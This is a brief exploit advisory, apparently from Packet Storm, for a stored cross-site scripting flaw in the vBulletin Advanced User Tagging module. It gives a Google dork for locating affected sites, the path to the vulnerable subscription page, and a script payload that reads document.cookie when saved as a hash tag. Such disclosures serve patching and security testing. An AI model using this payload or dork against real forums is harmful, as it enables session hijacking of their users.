vBulletin Advanced User Tagging Cross Site Scripting

[Matt]

Description : The vBulletin Advanced User Tagging module suffers from a stored cross site scripting vulnerability.

Author : []0iZy5

Source : vBulletin Advanced User Tagging Cross Site Scripting ? Packet Storm

Code :

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#
# Exploit Title: Advanced User Tagging vBulletin - Stored XSS Vulnerability
# Google Dork: intext:usertag_pro
# Date: 10.07.2013
# Exploit Author: []0iZy5
# Vendor Homepage: www.backtrack-linux.ro
# Software Link: http://www.dragonbyte-tech.com/vbecommerce.php?productid=20&do=product
# Version: vBulletin 3.8.x, vBulletin 4.x.x
# Tested on: Linux & Windows
#
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#
# Stage 1: Go to -> UserCP -> Hash Tag Subscriptions
# (Direct Link:) http://127.0.0.1/[path]/usertag.php?do=profile&action=hashsubscription
#
# Stage 2: Add a malicious hash tag.
# (Example:) "><script>alert(document.cookie)</script>
#
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#
# This was written for educational purpose only. use it at your own risk.
# Author will be not responsible for any damage caused! user assumes all responsibility. 
# Intended for authorized web application pentesting only!
#
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